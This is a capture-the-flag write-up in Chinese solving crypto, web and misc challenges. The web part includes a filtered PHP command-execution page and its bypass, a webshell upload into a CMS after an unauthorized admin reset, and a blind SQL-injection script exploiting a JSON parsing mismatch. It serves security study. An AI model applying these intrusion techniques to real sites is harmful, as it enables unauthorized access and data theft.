Crypto
Easy SignIn
cipher.txt
5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D
basecrack一把梭
AFFINE
task.txt
# -*- coding: utf-8 -*-
import string
import hashlib
letter=string.ascii_letters+string.digits
def encrypt(m, c, a, b):
for i in range(len(m)):
ch=m[i]
t=(letter.index(ch) * a + b) % 62
c.append(letter[t])
d = ''.join(c)
print(d)
m =
c = []
a =
b =
assert ("flag" in m)
print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
"""
加密后的密文为:
xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
"""
仿射密码,可以爆破出a=11,b=17,然后爆破出每个字母对应的密文即可
import string
import hashlib
letter=string.ascii_letters+string.digits
cip="xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv"
# print(letter)
t=[]
c="flag"
for i in range(4):
t.append(letter.index(c[i]))
# print(t)
def encrypt():
m=[5, 11, 0, 6]
for a in range(1000):
for b in range(1000):
c=[]
for i in range(4):
ch=m[i]
t=(ch * a + b) % 62
c.append(letter[t])
d = ''.join(c)
# print(d)
if d in cip:
print(d)
print("a="+str(a))
print("b="+str(b))
break
# encrypt()
def encrypt2(m):
t=(letter.index(m) * 11 + 17) % 62
return letter[t]
def dec(cip):
result=[]
for i in range(len(cip)):
for x in letter:
if cip[i]==encrypt2(x):
result.append(x)
return ''.join(result)
F=dec(cip)
F="3242323613"
flag = hashlib.md5("".join(str(F)).encode("utf8")).hexdigest()
print("flag{"+flag+"}")
RSA
task.py
import gmpy2
import sympy
from Crypto.Util.number import *
flag = b'????'
z=getPrime(1024)
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
n=p*q
m=bytes_to_long(flag)
e=0xe18e
c=pow(m,e,n)
print("n=",n)
print("c=",c)
#n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
#c= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565
看p,q是这么生成的
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
由于p和z相近,q和10z相近,所以$p*q \approx 10z^2$,可以求出$z \approx \sqrt{n//10}$。然后爆破z的后几位即可,脚本如下
import gmpy2
import sympy
from Crypto.Util.number import *
n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
C= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565
e=0xe18e
Z=gmpy2.iroot(n//10,2)[0]
# for a in range(10):
# for b in range(10):
# for c in range(10):
# for d in range(10):
# for e in range(10):
# z=eval(str(Z)[:-5]+str(a)+str(b)+str(c)+str(d)+str(e))
# if isPrime(z):
# p=sympy.nextprime(z)
# q=sympy.prevprime(10*z)
# if p*q==n:
# print(p)
# print(q)
# phi=(p-1)*(q-1)
# D=inverse(e,phi)
# print(long_to_bytes(pow(C,D,n)))
p=111664266924230584310672217327671667710935047973000520430654738129104995948600035802171323708501939460183230462999012738673733788510305174275781562493391778161104978492924899451563162871226400785486072759568388184737567195610022831797165685808940056623572151053130363074869912224709981475153891324423022575151
q=1116642669242305843106722173276716677109350479730005204306547381291049959486000358021713237085019394601832304629990127386737337885103051742757815624933917781611049784929248994515631628712264007854860727595683881847375671956100228317971656858089400566235721510531303630748699122247099814751538913244230225750851
phi=(p-1)*(q-1)
gcd=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//2,phi)
m=pow(C,d,n)
m=int(gmpy2.iroot(m,2)[0])
print(long_to_bytes(m))
BABY-RSA
task.py
from Crypto.Util.number import *
def lfsr(status,mask):
out = (status << 1) & 0xffffffff
i=(status&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
out^=lastbit
return (out,lastbit)
status= 1
mask = 0b10110001110010011100100010110101
num = bytes_to_long(m)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
hp = bin(p)[2:]
c = pow(num, e, n)
print("n=",n)
print("c=",c)
f=open("key","w+",encoding='utf-8')
for i in range(568):
curnum = int(hp[i])
(status,out)=lfsr(status,mask)
f.write(str(curnum ^ out))
f.close()
'''
n= 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c= 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
'''
key
0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010
可知key是使用一个线性移位寄存器生成的序列和p的前568位异或得到的。由于LFSR的初始状态和mask确定,所以可以求出前568位输出,进而得到p的前568位。
下面就是已知p高位攻击,直接套脚本即可
dec.sgae
sage: from sage.all import *
....: import binascii
....:
sage: n=0x4a2c6dd9af83d8cc06b4e721475e9d8a9bce1de6ddd43be7658f13bb5c5b452e9f42d9d77b8
....: c5c3e50ef64e0edc524903e8ee759d805a63cfe613ec022115d54e73724ced3bfff73e1872b7b35
....: b040537f8ac89523d9e2860199d6d0b1c4d7830ee5b468bd7406990ffa29caa2d8fad285b3dba20
....: 9b34b427d749d7e2aebded78f49e5017bfeec1cb9f72e63506d82af561a4858f652d3fb152526c1
....: 0c7e4c5e15c84803efac675fb9297d915bd1e2eda5a5de3d48bbf68380303e0d8de81704fff8c9f
....: 07ae4d15212b9066227583345425ba7a04e06fd0c16ec6bfdd764318587d1bfe76a9834043b1639
....: 2018e192456cb3ea994d2a187cabfa706efbee8dbf
sage: cipher=0x1cd83d7b3d4a93a559eb237f959048430021c5d38db0dc4241e526f344b004ea1d239d
....: e89c25a6a73bfe937fcf98dc639d4d2c60db36f088154125c517fc8d3d44caa063d6c9d6ce3e323
....: 2f65137cf700049efa9f5c9981840b5a2164a26621d43f2a800a5168de4677168e1faa0aa89b3be
....: 6d5573d6daa47773aed6973a506f7daaa9197c975deebe7e8027019a71304238ee5bb262e1cc3a2
....: 39869cae075e310f2c29d23f24e6598d53535d6bcbf5073296428861e46813a13fb97b9b2a760ec
....: 293523c6caac7e195992e8227612762761dd2f0d1d6c97e963247006ed2ce5fef09b9e15966f43f
....: 67a621dd963b7b560e1cbd5f614a5e8ba97c393dfe2a49d
sage: e=65537
sage: pbits=1024
for i in range(0,127):
....: p4=0x807c1395b8128e6de865ab20dd2a39684f6831464553c65215cfe2861192657b6938d2
....: 27c75e902ae858fdbd8b118c8522c08a3bf978bb203bc1644fe526f2de55b065b050795800
....: p4=p4+int(hex(i),16)
....: print hex(p4)
....: kbits = pbits - p4.nbits() #未知需要爆破的比特位数
....: print p4.nbits()
....: p4 = p4 << kbits
....: PR.<x> = PolynomialRing(Zmod(n))
....: f = x + p4
....: roots = f.small_roots(X=2^kbits, beta=0.4) #进行爆破
....: #rint roots
....: if roots: #爆破成功,求根
....: p = p4+int(roots[0])
....: print "p: ", hex(int(p))
....: assert n % p == 0
....: q = n/int(p)
....: print "q: ", hex(int(q))
....: print gcd(p,q)
....: phin = (p-1)*(q-1)
....: print gcd(e,phin)
....: d = inverse_mod(e,phin)
....: flag = pow(cipher,d,n)
....: flag = hex(int(flag))[2:-1]
....: print binascii.unhexlify(flag)
LINE-GENERATION-TEST
提示为希尔密码
在求key的逆矩阵时出现了问题,计算出key行列式的值为2,和模数26不互素,所以没有逆元,无法求逆矩阵。对于这种情况,我们可以通过爆破的方式求解明文矩阵。
使用z3模块解方程,脚本如下
from z3 import *
f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]
ss=Solver()
ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])
for i in range(5):
ss.add(f[i]>=0)
ss.add(f[i]<26)
ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):
res+=chr(m[f[i]].as_long()+ord('A'))
print(res)
解得结果为RSCTF,md5后为flag{e4163deba70420c58acb87abcab34141}
Web
Click
点击按钮抓不到包,考虑是前端代码,直接查看源码。在./static/main.js
中有flag
var var1="ZmxhZ3tkNTZkNDU5ZC1hODI4LTQ5MGMtYmJiMi04ODllNWY0OGI5YjF9Cg==";var var2=0;var var3=0x7080;var var4="asdfghjklzxcvbnm,qwertyuiop_@.";function func1(a){$("#num").text(a)}
function func2(a){var2++
func1(var2)
if(var2>=var3 && var2 <= eval("var"+3+"+10")){func1(eval(var4[18]+"in"+var4[2]+var4[25]+"w"+var4[29]+var4[0]+"to"+var4[13])(var1))}
}
Web-sign in
提示robots协议,访问
访问fiag_ls_h3re.php
,抓包获得flag
EXEC
页面代码
<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
$shell = $_REQUEST["cmd"];
$shell = str_ireplace(" ","",$shell);
$shell = str_ireplace("\n","",$shell);
$shell = str_ireplace("\t","",$shell);
$shell = str_ireplace("?","",$shell);
$shell = str_ireplace("*","",$shell);
$shell = str_ireplace("<","",$shell);
$shell = str_ireplace("system","",$shell);
$shell = str_ireplace("passthru","",$shell);
$shell = str_ireplace("ob_start","",$shell);
$shell = str_ireplace("getenv","",$shell);
$shell = str_ireplace("putenv","",$shell);
$shell = str_ireplace("mail","",$shell);
$shell = str_ireplace("error_log","",$shell);
$shell = str_ireplace("`","",$shell);
$shell = str_ireplace("exec","",$shell);
$shell = str_ireplace("shell_exec","",$shell);
$shell = str_ireplace("echo","",$shell);
$shell = str_ireplace("cat","",$shell);
$shell = str_ireplace("ls","",$shell);
$shell = str_ireplace("nl","",$shell);
$shell = str_ireplace("tac","",$shell);
$shell = str_ireplace("bash","",$shell);
$shell = str_ireplace("sh","",$shell);
$shell = str_ireplace("tcp","",$shell);
$shell = str_ireplace("base64","",$shell);
$shell = str_ireplace("flag","",$shell);
$shell = str_ireplace("cp","",$shell);
exec($shell);
}else{
highlight_file(__FILE__);
}
可以进行命令执行,过滤了一些常见的命令。注意exec()函数是没有回显的,所以我们将执行结果写入文件即可。被过滤的命令可以使用单引号绕过。
访问/ctf_is_fun_flag2021
,使用通配符绕过f[l]ag
。
CMS SYSTEM
判断网站CMS为YCCMS,搜索YCCMS相关漏洞,有以下几个相关CNVD
YCCMS代码审计(新手教学方向),这个文章对以上几个漏洞分析得比较详细,不过本题源码略有微调,下面是利用过程。
在/admin登陆处存在未授权更改管理员账号密码,这里我们将账号密码更改为admin
登陆后台,可以看到版本为3.4
YCCMS3.4未授权存在任意文件上传漏洞,我们来分析一下上传logo处的源码,核心代码位于CallAction.class.php#upLoad()
处
public function upLoad() {
if (!isset($_SESSION['admin'])) {
Tool::alertBack('警告:由于未登录导致上传失败!');
}
if (isset($_POST['send'])) {
$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
$_path = $_logoupload->getPath();
$_img = new Image($_path);
$_img->xhImg(960,0);
$_img->out();
//echo $_path;
$_logoupload->alertOpenerClose('图片上传成功!','..'.$_path);
} else {
exit('警告:文件过大或者其他未知错误导致浏览器崩溃!');
}
}
这里相较于原始版本,增加了登陆检查。跟到LogoUpload.class.php#checkType()
...
private $typeArr = array('png');
...
public function __construct($_file,$_maxsize) {
...
$this->name = $_FILES[$_file]['name'];
...
}
private function checkType() {
if (!in_array(explode('.',$this->name)[1],$this->typeArr)) {
Tool::alertBack('警告:LOGO图片必须是PNG格式!');
}
}
相较于原始版本对与Content-Type
的检查,这里将源码改成了对文件的后缀名进行判断。可以使用name.png.php
进行绕过。上传时网站会将文件重命名,功能位于LogoUpload.class.php#setNewName()
private function setNewName() {
$_nameArr = explode('.',$this->name);
$_postfix = $_nameArr[count($_nameArr)-1];
//$_newname = date('YmdHis').mt_rand(100,1000).'.'.$_postfix;
$_newname = 'logo.'.$_postfix;
$this->linkpath = UPLOGO.$_newname;
return $this->path.$_newname;
}
假如我们传入name.png.php
,后台会将文件名称改为logo.php
。比赛时没有仔细看源码,导致我以为木马没有被上传上去,很亏这题。。
再往后代码根据path,new了一个Image
类。在Image.class.php#getFromImg()
中,对图片类型进行判断。其中$_type
参数来自getimagesize()
函数。而该函数对于文件类型的判断是依赖于文件头的,所以我们在文件头部添加GIF89a
进行绕过。
public function __construct($_file) {
$this->file = ROOT_PATH.$_file;
list($this->width, $this->height, $this->type) = getimagesize($this->file);
$this->img = $this->getFromImg($this->file, $this->type);
}
...
private function getFromImg($_file, $_type) {
switch ($_type) {
case 1 :
$img = imagecreatefromgif($_file);
break;
case 2 :
$img = imagecreatefromjpeg($_file);
break;
case 3 :
$img = imagecreatefrompng($_file);
break;
default:
Tool::alertBack('警告:此图片类型本系统不支持!');
}
return $img;
}
测试上传
蚁剑连接成功
Languages
下载附件,有python和go源码,其中python用于前端路由,go用于后端校验。
关键代码如下
app.py
from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests
app = Flask(__name__)
server = '127.0.0.1:8000'
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/list", methods=["POST"])
def listAll():
r = requests.post(f"http://{server}/api/list")
return jsonify(r.json())
@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return render_template("search.html")
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
r = requests.post(f"http://{server}/api/search", data=request.data)
return jsonify(r.json())
@app.route("/healthcheck", methods=["GET"])
def healthCheck():
getPath = ["", "flag"]
postPath = ["api/list", "api/search"]
try:
for path in getPath:
requests.get(f"http://{server}/{path}")
for path in postPath:
requests.post(f"http://{server}/{path}")
except:
return "Down"
return "OK"
@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
backend.go
package controller
import (
db "ctf/database"
"encoding/json"
"fmt"
"github.com/buger/jsonparser"
"io/ioutil"
"net/http"
)
type Language struct {
Id int32 `json:"id"`
Name string `json:"name"`
Votes int64 `json:"votes"`
}
func Index(w http.ResponseWriter, _ *http.Request) {
ok(w, "Hello World!")
}
func List(w http.ResponseWriter, _ *http.Request) {
rows, err := db.Sqlite.Query("SELECT * FROM languages;")
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
defer rows.Close()
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Search(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
votes, err := jsonparser.GetInt(reqBody, "votes")
if err != nil {
fail(w, "Error reading votes")
return
}
name, err := jsonparser.GetString(reqBody, "name")
if err != nil {
fail(w, "Error reading name")
return
}
query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
rows, err := db.Sqlite.Query(query)
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Flag(w http.ResponseWriter, r *http.Request ) {
action:= r.URL.Query().Get("action")
if action == "" {
fail(w, "Error getting action")
return
}
token:= r.URL.Query().Get("token")
if token == "" {
fail(w, "Error getting token")
return
}
var secret string
row := db.Sqlite.QueryRow("SELECT secret FROM token;")
if err := row.Scan(&secret); err != nil {
fail(w, "Error querying secret token")
return
}
if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
ok(w, "Wrong token")
}
根据python的源码我们可知如下信息:存在/
、/list
、/search
、/healthcheck
、/flag
等路由,访问/search
会进行json数据进行sql查询,访问/flag
会将action
、token
等参数发送给后端。
在go源码中可以看见后端的sql查询语句SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';
,可知在name处存在sql注入。当我们访问/search
的时候就会执行sql语句。而token是根据SELECT secret FROM token;
语句查询出来的。
Python和GO对于JSON的解析存在差异:对于JSON中重复的键值对,Python会解析前一个,而GO会解析后一个,因此我们可以利用这点来绕过检查
后端为sqlite数据库,直接进行盲注,使用'
来闭合
import requests
url="http://9077c72e-7be0-415e-a01f-f50611e5935e.node.honkersecuritycommando.site:8080/search"
def sql(payload):
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
data='''{
"id":1,
"name":"'''+payload+'''",
"name":"java",
"votes":10000
}'''
headers={
"Content-Type": "application/json"
}
r=requests.post(url,headers=headers,data=data,proxies=proxies)
return r.text
if __name__=="__main__":
flag=''
for i in range(1, 200):
print("------------------" + str(i) + "------------------")
for j in range(32,127):
#3.36.0
# payload="java' and substr(sqlite_version(),{},1)='{}' and '1'='1".format(i,chr(j))
#token,languages
# payload = "java' and substr((select group_concat(tbl_name) from sqlite_master where type='table'),{},1)='{}' and '1'='1".format(i, chr(j))
# payload = "java' and substr((select group_concat(sql) from sqlite_master where type='table'),{},1)='{}' and '1'='1".format(i, chr(j))
#re@l1y_4th_T0k3n
payload = "java' and substr((SELECT group_concat(secret) FROM token),{},1)='{}' and '1'='1".format(i, chr(j))
if "java" in sql(payload):
flag+=chr(j)
break
print(flag)
#re@l1y_4th_T0k3n
在python和go中,均对action进行了校验
@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)
if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
我们可以利用Flask的路由特性进行绕过,在Flask中是根据?
来判断GET参数的,但是并不会识别URL编码的%3f
,被转码后只会被当作正常的路径对待,测试如下
from urllib.parse import unquote
from flask import *
app=Flask(__name__)
@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
return path
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888,debug=True)
/flag%3faction=a
会被识别为一个路径
绕过如下
Misc
DORAEMON
爆破六位密码即可,密码376852
,得到以下图片
010打开CRC报错,使用脚本修复
import binascii
import struct
import sys
file="flagindoraemon.png"
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file,'wb')
fw.write(newpic)
fw.close
sys.exit()
补全二维码即可
汝闻,人言否
PNG文件,010打开,在PNG文件末尾IEND
处发现被倒置的ZIP head,提取出来并将各处被倒置的标志PK
恢复
在文件末尾发现疑似密码的字符串,发现是键盘密码。解密得密码WVALOU
qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p
解压得到flag文件,用010打开查看文件头为RIFF
将flag文件结尾改成.wav
,Audacity转频谱图
wireshark
题目给了一个加密压缩包,010打开发现含有PNG文件头,分离得到一张PNG图片
使用Stegsolve进行分析,发现LSB隐写了一张PNG图片。
提取得到一张二维码,扫码得到wrsak..iehr370
考虑可能是栅栏密码,解密得wireshark3.7.0
010打开解压文件,发现PDF结尾。补上PDF头25 50 44 46 2D 31 2E
利⽤wbstego分析得到flag{Go0dJ0B_y0ufIndLt}
PERFORMANCE-ART
给了一张图片
标准银河字母+凹凸字体
手动解密得到一个压缩包
504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000
解密得到ZmxhZ3tnNUEwIWkyZjF9
,base64解码得到flag{g5A0!i2f1}